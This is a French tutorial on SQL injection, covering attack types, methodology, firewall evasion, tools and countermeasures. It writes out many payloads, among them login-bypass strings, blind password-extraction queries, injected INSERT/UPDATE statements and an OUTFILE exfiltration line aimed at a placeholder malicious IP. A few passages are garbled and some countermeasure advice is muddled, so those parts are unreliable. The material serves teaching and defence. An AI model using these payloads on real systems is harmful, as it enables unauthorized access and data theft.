Injection SQL

I. Les concepts et méthodologie


I.1 Définition

L’injection SQL consiste à prendra avantage des vulnérabilités des entrées malsaines à travers une base de données qui est lancée derrière.

C’est une attaque basique permettant soit d’obtenir un accès non autorisé à une base de données ou de récupérer des informations directement depuis cette base.

Exemples de requêtes :

  • Requête SQL normale : string strQry = « SELECT Count(*) FROM Users WHERE UserName=' » + txtUser.Text + « ‘ AND Password=' » + txtPassword.txt + « ‘ »;
  • Requête d’injection SQL : SELECT Count (*) FROM Users WHERE UserName=’Blah’ or 1=1 –‘ AND Password=’springfield’

I.2 Les types d’injection SQL

I.2.1 Injection SQL basée sur l’UNION

Cela consiste à ajouter dans la requête originale une fausse requête contenant le mot clé UNION pour obtenir les champs des autres tables de la base de données.

L’attaquant peut utiliser des commandes malveillantes ou des requêtes pour s’introduire à l’intérieur des tables d’une base de données afin de récupérer quelques informations sensibles.

Exemple :

                SELECT a, b FROM table1 UNION SELECT c, d FROM table2

Cette requête va renvoyer le contenu des colonnes a et b de la table table1 et celui des colonnes c et d de la table table2.

I.2.2 Injection SQL basée sur les ERREURS

Ce type d’injection repose entièrement sur les erreurs générées par les requêtes SQL.

En effet, dans les erreurs de requêtes SQL, il est possible de connaitre la structure de la base de données, de ses tables et de ses colonnes.

L’attaquant va envoyer une requête qui va générer une erreur et cette dernière va être affichée à la portée de l’attaquant. Cette erreur peut contenir le nom de la table, ses colonnes et pleins d’autres choses.

Ces informations seront ensuite utilisées par l’attaquant pour préparer de nouvelles attaques.

I.2.3 Injection SQL en AVEUGLE

Il existe deux types d’injections SQL en aveugle : celle basée sur le booléen et celle basée sur le temps.

  • Basée sur le Booléen

Cela consiste à utiliser des opérations booléennes pour interroger une base de données sans générer d’erreurs ou générer seulement quelques erreurs génériques.

La commande ?id=1′ and 1=1 est utilisée par l’attaquant, à la fin de la requête, pour mettre la condition à vrai.

Les résultats vont être affichés et ensuite l’attaquant peut procéder à une injection de type UNION.

  • Basée sur le temps

Cela consiste pour l’attaquant d’utiliser des fonctions de temps prédéfinies telles que SLEEP()BENCHMARK()WAIT FOR DELAY, etc. pour retarder les résultats des requêtes.

Si la requête prend bien le temps qu’on lui a donné, l’attaquant saura que la base de données est vulnérable de ce côté et il va exploiter cela à son avantage.

Exemple de requête avec SLEEP() dans MySQL :

                select * from comments

      where post_id=1-SLEEP(15)

I.2.4 Injection SQL OUT OF BAND

Avec ce type d’injection SQL, l’attaquant va se connecter sur le serveur de base de données en utilisant différents canaux de communication.

Il va utiliser des requêtes http et DNS pour récupérer des données depuis le serveur de base de données.

En général, ce type d’injection SQL est utilisé par l’attaquant pour récupérer des données de la base de données et les envoyer vers un autre endroit, tout cela en utilisant des fonctions prédéfinies.

Sur MySQL par exemple, la fonction OUTFILE() peut être utiliser pour cela :

select * from post_table

into OUTFILE ‘\\\\MALICIOUS_IP_ADDRESS\location’

I.3 Méthodologie d’injection SQL

Pour bien mener une attaque par injection SQL, il faut suivre une méthodologie spécifique :

  • Collecte d’informations :

Cela consiste à interroger les serveurs de base de données afin de connaitre la structure de ces derniers, consulter les champs visibles et cachés de la base de données, passer à la loupe les messages d’erreur, etc.

  • Identification des chemins menant aux données :

Cela consiste à utiliser des requêtes GET et POST afin d’identifier tous les champs d’entrée, les cookies, etc.

Cela peut se faire en utilisant Burp suite, Tamper Data, Owasp ZAP.

  • Extraction d’informations à travers les messages d’erreur :

A travers les messages d’erreur, il est possible de connaitre le type de système d’information utilisé, le type de base de données, la version, etc.

II. Test de pénétration Boite noire pour l’Injection SQL


Cela vise à localiser et analyser les zones du code de l’injection SQL manuellement ou en utilisant des outils tels que Veracode, RIPS, PVS studio, Klocwork, Parasoft test.

On peut en distinguer deux types d’analyse :

  • L’analyse statique : analyse du code sans l’exécuter afin de comprendre la sécurité qui y est incluse ;
  • L’analyse dynamique : cela consiste à exécuter le code afin d’interagir avec la base de données, les services web, etc. pour trouver les failles de sécurité.

II.1 Injection SQL double aveugle

Cela se base dans les délais.

Restreindre la plage de recherche de caractères augmente la performance.

On peut présumer que le caractère a été supposé juste sur la base du délai de la réponse du serveur web.

Dans ce cas de figure, la fonction SLEEP() est plus sécurisée il ne va pas utiliser la réponse du serveur.

II.2 Injection SQL seconde ordre

Il se présente lorsque la donnée d’entrée est stockée dans la base et utilisée dans le traitement d’une autre requête SQL sans validation ou paramétrage des requêtes.

Selon la base de données principale, les paramètres de connexion à la base de données et l’attaquant du système d’exploitation peuvent manipuler des tables arbitrairement à partir de la base de données.

ACTIONS :

  1. soumettre une requête HTTP spécialement conçue ;
  2. sauvegarder les entrées dans la base de données afin de les utiliser plus tard et donner une réponse ;
  3. soumettre une autre requête ;
  4. l’application web traite la seconde requête en utilisant la première entrée stockée dans la base et exécute la requête d’injection SQL.

II.3 Contournement de pare-feu avec l’injection SQL

  • Méthodes de normalisation : une représentation systématique de la base de données dans le processus de normalisation conduit à injection SQL ; changement de structure, /?id=1/*union*/union/*select*/select+1,2,3/*.
  • Technique HPF et HPP : elle est utilisée pour outrepasser les paramètres http GET/POST en injectant des caractères de délimitation dans la requête (/?id=1; select+1&id=2,3+from+users+where+id=1–) ; HPF est utilisée ainsi que HPP avec l’opérateur UNION pour contourner les pare-feu.
  • Injection SQL en aveugle : elle est utilisée pour remplacer les signatures WAF avec leurs synonymes en utilisant les fonctions SQL ; elle utilise aussi les requêtes logiques and.or pour contourner les pare-feu (/?id=1+OR+0x50=0x50, /?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74).
  • Contournement de signature : les attaquants transforment la signature des requêtes SQL pour contourner le pare-feu (/?id=1+union+(select+’xz’from+xxx), /?id=(1)union(select(1),mid(hash,1,32)from(users)).

II.4 Insertion d’utilisateur et mis à jour de mot de passe avec l’injection SQL

Si un attaquant connait la structure de la table des utilisateurs dans une base de données, il pourra tenter d’insérer un nouvel utilisateur dans cette table.

Exemple : SELECT * FROM Users WHERE Email_ID = ALICE@XYZ.COM

SELECT * FROM Users WHERE Email_ID = ALICE@XYZ.COM ; INSERT INTO users (Email_ID, User_name, Password) VALUES (‘clark@xyz.com’, ‘clark’,’pass’);–‘;

Si un attaquant connait l’existence de l’adresse mail d’un utilisateur, alors il peut mettre à jour cette adresse email en y mettant celle de l’attaquant.

Exemple : SELECT * FROM Users WHERE Email_ID = ALICE@XYZ.COM ; UPDATE Users SET Email_ID = ‘clark@mymail.com’ WHERE Email_id =’ALICE@XYZ.COM’;

II.5 Retrouver un caractère d’un mot de passe dans MySQL et MsSQL

  • MySQL :

–> Vérification de la première lettre : index.php?id=2 and 1=(SELECT 1 FROM UserInfo WHERE Password REGEXP ‘^[a-f]’ AND ID=2)

–> Vérifier si c’est True ou False.

Répéter encore et encore en percutant et testant jusqu’à découvrir le mot de passe.

  • MsSQL :

–> default.aspx?id=2 AND 1=(SELECT 1 FROM userinfo WHERE Password LIKE ‘d[a-f]%’ AND ID=2)

–> Vérifier si c’est True ou False.

II.6 Enumération de table, colonne de la base de données

  • Privilege Utilisateur : ‘ and 1 in (select user) –, ‘; if user =’dbo’ waitfor delay ‘0:0:5 ‘ –
  • Administrateurs de base de données : sa, system, sys, dba, admin, root dbo ont les permissions pour effectuer toutes sortes d’activité ;
  • Découvert de la structure d’une base de données : Union select (column name) from tablename –
  • Enumération de colonne d’une base de données : select * from all_tab_columns where table_name=’tablename’.

II.7 Enumération avancée

–> ‘ and 1 in (select min(name) from master.dbo.sysdatabases where name >’.’)–

–> union select 0, sysobjects.name + ‘: ‘ +syscolumns.name + ‘; + systypes.name, 1,1,’1’, 1, 1, 1, 1, 1 from sysobjects, syscolumns systypes where sysobjects.xtype= ‘U’ AND sysobjects.id = syscolumns.id AND syscolumns.xtype = systypes.xtype —

II.8 Capture des haches du serveur SQL

Il est possible de capturer un hash à travers les messages d’erreur, convertir -> en Hex -> concaténer.

Le champ mot de passe requiert un accès dba :

                ‘ and 1 in (select x from temp) —

                ‘ and 1 in (select substring (x, 256, 256) from temp) —

II.9 Système de fichier

  • l’intérieur de  MySQL.
  • OUTFILE() : cette fonction est souvent utilisée pour exécuter et vider les résultats dans un fichier.

II.10 Contournement du d’un site web

Il est possible de facilement contourner le panneau d’administration en utilisant des entrées malveillantes :

                ‘or1=1–

                1’or’1’=’1

                admin’–

                ‘or 0=0

II.11 Outils d’injections SQL

SQL POWER INJECTOR AND SQL MAP, HAVIJ IS BANNED, THE MOLE, jSOL INJECTION, TYRANT SQL, ABSINTHE, ENEMA.

Pour MOBILE : ANDRO HACKBAR, DROIDSQLi, SQLMAPCHIK.

III. Les techniques d’évasion


Un système de détection à base de signatures construit une base de données des signes d’attaques d’injection SQL qu’il utilise pour comparer les entrées des attaques détectées.

Les attaquants utilisent des techniques d’évasion pour dissimuler des entrées afin d’éviter les détections.

Parmi ces techniques, on peut citer :

1) Commentaire en ligne : insertion d commentaires en ligne (/**/UNION/**SELECT**/**/PASSWORD/**/FROM/**/USERS/**WHERE**/) ;

2) Encodage de caractère : utiliser la fonction CHAR pour représenter une caractère (union select * from users where login = char(114,111,111,116) ;

3) Concaténation de chaines : concaténer des chaines pour créer des mots clés SQL (EXECUTE CONCAT (‘INSE’,’RT’,’US’,’ER’)) ;

4) Codes obscurcis : les codes obscurcis sont difficiles à comprendre –> ?id=(1) unIon(selEct(1), mid(hash,1,32)from(test.users)) ;

5) Manipulation des blancs dans le texte : dissimuler les entrées en diminuant les blancs entre les mots clés SQL ( » UNION    SELECT ») ;

6) Codage en hexadécimal : utiliser l’encodage hexadécimal pour représenter les chaines de requête SQL (SELECT @@version=0x73237486178932461) ;

7) Techniques sophistiquées : utiliser des expressions alternatives de « OR 1=1 » ;

8) Encodage des URL : en ajoutant % avant chaque point du code ;

9) Variation de cas : variation des majuscules et minuscules ;

10) Octet nul : le caractère %00 avant la chaine afin de contourner la détection ;

11) Déclarer des variables : utilisation d’une variable pour transmettre une série spéciale d’instructions SQL et contourner la détection (declare @sqlvar nvarchar(70); set @myVAR=N’UNI’ + N’ON’ + N’ SELECT’ + N’PASSWORD’); EXEC(@sqlvar)) ;

12) Fragmentation de paquet IP : utiliser les paquets fragmentés.

IV. Les contremesures


Pour se défendre des attaques du type injection SQL, il faut :

  • Ne pas faire d’hypothèse sur la taille, le type ou le contenu des données ;
  • Analyser le type et la taille des données d’entrée pour imposer des limites ;
  • Analyser le contenu de la chaine et accepter seulement les chaines exclues ;
  • Rejeter les entrées de données binaires, les séquences de fuites, les caractères de commentaire ;
  • Ne jamais construire de transaction sur les instructions SQL et ne jamais utiliser de procédures stockées pour valider une entrée d’utilisateur ;
  • Mettre en place des couches de validations multiples ;
  • S’assurer que les fichiers de configurations web n’ont pas d’information sensibles ;
  • Séparer les données non fiables des commandes et requêtes ;
  • Utiliser la syntaxe d’échappement pour supprimer les caractères spéciaux ;
  • Utiliser un algorithme de hachage sécurisé ;
  • Utilisez la couche d’abstraction d’accès aux données pour imposer un accès sécurisé aux données ;
  • Garantir le traçage de code, les messages de débogage ou la suppression ;
  • Donner moins de privilèges pour l’accès au DBMS ;
  • S’assurer que toutes les entrées d’utilisateur sont saines avant utilisation ;
  • Valider les données fournies par les utilisateurs et celles venant de sources non fiables ;
  • Eviter l’utilisation d’application web qui n’est pas testée par le serveur web ;
  • Isoler le serveur par verrouillage dans différents domaines ;
  • Désactiver l’accès par Shell à la base de données ;
  • Surveiller les instructions SQL en recherchant des instructions malveillantes ;
  • Ne pas dévoiler les erreurs aux utilisateurs finaux.

Outils pour la détection d’injection SQL :

IBM SECURITY APPSCAN

ACUNETIX WEB VULNERABILITY SCANNER

W3AF

BURP SUITE

NETSPARKER

SQLIX